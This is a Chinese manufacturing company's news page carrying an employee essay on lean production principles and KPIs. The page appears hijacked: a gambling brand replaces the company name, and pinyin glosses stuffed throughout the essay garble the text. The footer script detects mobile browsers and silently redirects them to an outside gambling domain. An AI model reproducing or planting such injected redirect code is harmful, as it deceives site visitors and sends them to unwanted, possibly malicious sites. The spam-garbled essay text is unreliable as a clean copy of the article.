bt365体育投注

24小时服务热线:027-59886188
NEW 新闻资讯(xun)
当前位置:bt365体育投注 > 新闻资讯 > bt365体育投注
浅谈《精益生产》
发布(bu)时间:2021-07-08 浏览次数:

bt365体育投注  马利

上个(ge)月初,我有幸参加(jia)了烽火为期两天的《精益生(sheng)产解码》的培训。

作为制造型(xing)企业,现(xian)在(zai)在(zai)市场经济的(de)大环境(jing)下(xia)企业要有竞(jing)争(zheng)力(li)就必须在(zai)精益(yi)生(sheng)产方(fang)面下(xia)大功夫。通过对精益(yi)生(sheng)产理(li)论学习,我对精益(yi)生(sheng)产的(de)理(li)解更为深入(ru)。精益(yi)生(sheng)产是从丰(feng)田生(sheng)产方(fang)式中总结(jie)提(ti)炼的(de)先进的(de)管理(li)理(li)念,它的(de)核心思想是“彻底消除(chu)浪费”,达到降(jiang)低成本、缩(suo)短(duan)生产(chan)周期和改(gai)善质(zhi)量的(de)目的(de)。实现(xian)精益(yi)生产(chan)的(de)基础是稳定的(de)生产(chan)运作,     

及时供(gong)货(JIT)和(he)稳定(ding)的质量保证(zheng)(自(zi)働(dong)化)是实(shi)现精(jing)益(yi)生产两大(da)推动(dong)力和(he)支柱。

为什么现在越来越多(duo)(duo)的企业(ye)(ye)要推行(xing)精益(yi)(yi)生产,主要原因是很多(duo)(duo)行(xing)业(ye)(ye)都(dou)面临着(zhe)生产产能过剩和(he)(he)价(jia)格敏感(gan)的全球化运营竞争,而精益(yi)(yi)往(wang)往(wang)能带来市场(chang)份额的增加,成(cheng)本降低,利(li)润(run)的增加以及(ji)使(shi)客户更加满(man)意,还能提高质量、生活灵活性(xing)和(he)(he)员工满(man)意度,而且改进的潜能巨大。并(bing)且只要你坚持做了,精益(yi)(yi)就(jiu)决(jue)不(bu)会失败。

001.png 

精(jing)(jing)(jing)益(yi)思想要求(qiu)企(qi)业找到(dao)最佳的(de)(de)方(fang)法(fa)(fa)确立提供给(ji)顾(gu)(gu)客的(de)(de)价(jia)值,明确每(mei)一项产品(pin)的(de)(de)价(jia)值流,使产品(pin)在最初的(de)(de)概念(nian)到(dao)到(dao)达顾(gu)(gu)客的(de)(de)过(guo)程中(zhong)流动(dong)顺畅(chang),让(rang)顾(gu)(gu)客成(cheng)为(wei)生(sheng)产的(de)(de)拉动(dong)者,在生(sheng)产管理中(zhong)精(jing)(jing)(jing)益(yi)求(qiu)精(jing)(jing)(jing)、尽善(shan)尽美。价(jia)值、价(jia)值流、流动(dong)、拉动(dong)和尽善(shan)尽美的(de)(de)概念(nian)进一步(bu)发展成(cheng)为(wei)应用于产品(pin)开(kai)发、制造、采购和服务顾(gu)(gu)客各(ge)个方(fang)面(mian)的(de)(de)精(jing)(jing)(jing)益(yi)方(fang)法(fa)(fa)。

002.jpg 

精(jing)益(yi)(yi)(yi)思想是(shi)精(jing)益(yi)(yi)(yi)生(sheng)产(chan)的(de)(de)精(jing)髓,精(jing)益(yi)(yi)(yi)生(sheng)产(chan)是(shi)在精(jing)益(yi)(yi)(yi)思想的(de)(de)指导下进行消(xiao)除浪费、提升效(xiao)率(lv)的(de)(de)一种生(sheng)产(chan)方式。所以精(jing)益(yi)(yi)(yi)生(sheng)产(chan)付诸于实践(jian),了解精(jing)益(yi)(yi)(yi)思想至关重(zhong)要,下面简单讲一下精(jing)益(yi)(yi)(yi)思想的(de)(de)五项基本原则。

一(yi)、价(jia)值

精(jing)益(yi)思想认为,产(chan)品或服(fu)务(wu)的(de)价(jia)值最(zui)终由客户(hu)决定,只有满足客户(hu)需求的(de)产(chan)品或服(fu)务(wu)才是有价(jia)值的(de)。精(jing)益(yi)思想颠覆了传统(tong)的(de)大规模生(sheng)产(chan)概(gai)念,重新定义了企(qi)业(ye)的(de)原则(ze)和(he)价(jia)值观。

价值分为高阶KPI和(he)精(jing)益KPI。

1)高(gao)(gao)阶(jie)KPI:是把价(jia)(jia)值量化,反映(ying)衡量精益生(sheng)产(chan)的(de)最终(zhong)成(cheng)(cheng)效,如(ru)成(cheng)(cheng)本、效率、产(chan)能、周转率、利润等。这(zhei)一(yi)(yi)般是公司级的(de)大目(mu)标,虽然高(gao)(gao)阶(jie)KPI看不(bu)(bu)到(dao)真实的(de)状况(kuang),KPI的(de)结果不(bu)(bu)一(yi)(yi)定(ding)是改(gai)(gai)(gai)善得(de)到(dao)的(de),比如(ru),因原材料跌价(jia)(jia)而获得(de)的(de)利润增长就(jiu)不(bu)(bu)是工厂改(gai)(gai)(gai)善的(de)结果,所以说高(gao)(gao)阶(jie)KPI不(bu)(bu)能反映(ying)真实的(de)状况(kuang),是有一(yi)(yi)定(ding)的(de)漏(lou)动,但(dan)是公司若做了相(xiang)关改(gai)(gai)(gai)善,也会反映(ying)在此KPI中。

2)精益KPI: 此KPI是(shi)反映工厂的(de)具(ju)体(ti)改善(shan)效(xiao)(xiao)果。此指标(biao)是(shi)要对自己负责,要真实,可以见(jian)微知著,看出整体(ti)生产效(xiao)(xiao)益。

如下即为常用精益KPI指标(biao)

a. 人(ren)员:人(ren)员作业人(ren)数、每班人(ren)数、编制(zhi)人(ren)数;

b. 工作(zuo)时(shi)间:有效工时(shi)、加班时(shi)间、工作(zuo)班数、生产时(shi)间

c. 需(xu)求量(liang):年/月/周/日需(xu)求量(liang)、生产周期

d. 物件流:进(jin)料方式、进(jin)料批量、进(jin)料频(pin)率、出货(huo)方式、出货(huo)批量、出货(huo)频(pin)率

e. 原材料库(ku)(ku)存(cun)(cun)量/周(zhou)转(zhuan)天数、半成品库(ku)(ku)存(cun)(cun)/周(zhou)转(zhuan)天数、成品库(ku)(ku)存(cun)(cun)量/周(zhou)转(zhuan)天数、呆(dai)滞(zhi)库(ku)(ku)存(cun)(cun)/报废率

f. 品质(zhi)直通(tong)率、返工率/报废率

g. 及时交付率(lv)、平均(jun)交货周期

以上常见的(de)7种精益指(zhi)标,我们公(gong)司目前每(mei)年有(you)(you)对质量和交付(fu)两个方(fang)面(mian)(mian)制定明确的(de)KPI指(zhi)标,其他方(fang)面(mian)(mian)有(you)(you)涉及到相关(guan)文(wen)件规范,但是没有(you)(you)制定具(ju)(ju)体(ti)的(de)KPI数据(ju)指(zhi)标,所(suo)以要想做(zuo)到精益生产(chan)提高企业竞争力,可以从以上(shang)7项展(zhan)开制定每(mei)年具(ju)(ju)体(ti)的(de)KPI指(zhi)标。制定KPI是精益生产(chan)的(de)第一步(bu)。

二、价值流

价(jia)值流是指在将(jiang)原(yuan)材(cai)料(liao)加工成成品(pin)的(de)过程中赋予产(chan)品(pin)价(jia)值的(de)所(suo)有活(huo)动,包(bao)括:从概(gai)念产生到生产的(de)产品(pin)开(kai)发过(guo)程;从物料需求制定到供(gong)应商交付的(de)信息流(liu)程;从原(yuan)材料到产品(pin)加工的(de)转化过(guo)程;以及整个生命周期的(de)支持和服务流(liu)程。

识(shi)别价值(zhi)流(liu)(liu)(liu)是精益思维的起点(dian),而价值(zhi)流(liu)(liu)(liu)分(fen)析也是实施精益思维最重要的基本工具之一。通过对企业价值(zhi)流(liu)(liu)(liu)的分(fen)析,区分(fen)了价值(zhi)流(liu)(liu)(liu)中的增值(zhi)活动和非增值(zhi)活动,并(bing)不断改进非增值(zhi)活动以消除浪费。

003.png 

 三、流(liu)动(dong)

“流(liu)动(dong)”和(he)“拉动(dong)”是精益思想的(de)(de)(de)支柱(zhu)。精益思想强调持续的(de)(de)(de)“流(liu)动(dong)”,要(yao)(yao)求整(zheng)个过程中所有有价值的(de)(de)(de)活(huo)动(dong)都要(yao)(yao)流(liu)动(dong)。然而(er),受传统部(bu)门(men)分工和(he)大规(gui)模(mo)生产等传统观(guan)念和(he)做法的(de)(de)(de)限制,企业的(de)(de)(de)价值流(liu)往(wang)往(wang)受阻。

精益(yi)思想认(ren)为哪里有(you)停(ting)顿,哪里就有(you)浪费。它强调生产(chan)(chan)的(de)流线(xian)化(hua)和均衡化(hua)。它突破了传统的(de)部(bu)门和大规模生产(chan)(chan)的(de)思维,提倡“单元生产”模式(shi)。

四、拉动

“拉动(dong)”是一种从客户开(kai)始,根据客户需(xu)求安排生(sheng)(sheng)产计划(hua)的生(sheng)(sheng)产方式(shi)。它不同于传统的推式(shi)生(sheng)(sheng)产方法。顾(gu)客和下一个过(guo)程可以在货架上获(huo)得(de)所需(xu)的物品,而不是强行将它们推给(ji)顾(gu)客。

拉动原(yuan)则可以(yi)减(jian)少和(he)消除(chu)由于实现需求(qiu)和(he)生(sheng)(sheng)(sheng)产(chan)过程的对应而导致的过早和(he)过度(du)投资,从而减(jian)少库存浪(lang)(lang)费和(he)过度(du)生(sheng)(sheng)(sheng)产(chan)浪(lang)(lang)费,同(tong)时大大缩短生(sheng)(sheng)(sheng)产(chan)周期。客户需求(qiu)提出(chu)后,可以(yi)立即进行(xing)设计、采购和(he)加工,所需产(chan)品可以(yi)按时提交给客户,最终实现预测生(sheng)(sheng)(sheng)产(chan),可以(yi)根据(ju)客户的实际(ji)需求(qiu)直接进行(xing)生(sheng)(sheng)(sheng)产(chan)。

近期,我司正(zheng)在连同客户(hu)共同推进精益(yi)生(sheng)(sheng)产(chan)模式,对于(yu)听通知(zhi)到(dao)货(huo)(huo)且价值高、占地面积(ji)较大的产(chan)品,要求客户(hu)下(xia)达此类产(chan)品订单的同时,就告知(zhi)此产(chan)品的未(wei)来明(ming)确的需(xu)求数(shu)量和需(xu)求时间,以利于(yu)我司能根(gen)据(ju)客户(hu)要求的时间反向推算半成品装配时间、钣金部零部件生(sheng)(sheng)产(chan)时间以及外采件到(dao)货(huo)(huo)时间,合理(li)安(an)排下(xia)单时间点、完工或到(dao)货(huo)(huo)时间点。

以此进行拉(la)动生(sheng)(sheng)产(chan)(chan),让各生(sheng)(sheng)产(chan)(chan)车间(jian)的(de)生(sheng)(sheng)产(chan)(chan)节奏和(he)外(wai)采(cai)件(jian)到货的(de)节奏井(jing)然有序(xu),从(cong)而能(neng)够有效地(di)提(ti)高(gao)各环(huan)节的(de)产(chan)(chan)能(neng)利用率,减少不必(bi)要的(de)库存(cun)堆积造(zao)成(cheng)(cheng)的(de)资金滞留、人工管理成(cheng)(cheng)本(ben)增加(jia)以及采(cai)买资金提(ti)前(qian)支付造(zao)成(cheng)(cheng)的(de)各项(xiang)费用的(de)增加(jia)。此精(jing)(jing)益生(sheng)(sheng)产(chan)(chan)的(de)拉(la)动生(sheng)(sheng)产(chan)(chan)模式就是从(cong)客(ke)户开始,根据客(ke)户需求安排生(sheng)(sheng)产(chan)(chan)计划(hua)的(de)生(sheng)(sheng)产(chan)(chan)方式,拉(la)动也是实施精(jing)(jing)益生(sheng)(sheng)产(chan)(chan)的(de)核心(xin)要素和(he)支柱。

五、尽(jin)善尽(jin)美(mei)

通过持续改进达到完(wan)美,由于上述四个(ge)原则:定(ding)义价(jia)值,识别价(jia)值流(liu),以及流(liu)动和拉动之间的(de)相互作用,结果是价(jia)值流(liu)率(lv)显著加快(kuai)。这样,我们(men)必(bi)须不断地使(shi)用价(jia)值流(liu)分(fen)析方法来(lai)发现(xian)更多隐藏的(de)浪(lang)费,并做(zuo)出进(jin)一(yi)步(bu)的(de)改进(jin)。这种良性循环(huan)已(yi)经成为一(yi)个趋向完美的(de)过(guo)程(cheng)。

精益(yi)制造的目标是“通(tong)过(guo)完美(mei)的(de)(de)价(jia)值(zhi)创(chuang)造过(guo)程为用户提供完美(mei)的(de)(de)价(jia)值(zhi)”。 精(jing)益制造的(de)(de)“完美(mei)”有三层含义: 顾客满意、无(wu)差错(cuo)生产和企(qi)(qi)业自身的(de)(de)持续改进(jin)。因为外部(bu)(bu)市(shi)场环境在(zai)不断(duan)变化(hua),企(qi)(qi)业内部(bu)(bu)也在(zai)不断(duan)变化(hua),“完美(mei)”永远(yuan)是一(yi)个(ge)目标,但不断(duan)追求完美(mei)会(hui)创(chuang)造出一(yi)个(ge)永远(yuan)充满活力和不断(duan)进(jin)步(bu)的(de)(de)企(qi)(qi)业。

004.jpg 

总(zong)(zong)之,企(qi)业要想(xiang)不(bu)断进步且蓬勃(bo)发(fa)展,全面实(shi)行(xing)精益生(sheng)产(chan)(chan)必不(bu)可(ke)少。只有我(wo)们全员(yuan)参与、共同推动,从一(yi)点一(yi)滴的小事(shi)改(gai)起,精益生(sheng)产(chan)(chan)的理念才(cai)能迅速渗透于企(qi)业日常(chang)生(sheng)产(chan)(chan)的各个(ge)环节中。精益从来不(bu)会(hui)让人失望,总(zong)(zong)会(hui)带来意(yi)想(xiang)不(bu)到的收获。我(wo)相信总(zong)(zong)有一(yi)天,当我(wo)们面临生(sheng)产(chan)(chan)计划跟不(bu)上变(bian)化(hua)的时候,不(bu)是改(gai)变(bian)计划,而是学(xue)会(hui)控制变(bian)化(hua)。

 

 


版权所有:武汉bt365体育投注科技有限公司    鄂ICP备11010642     技术支持:捷讯技术
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();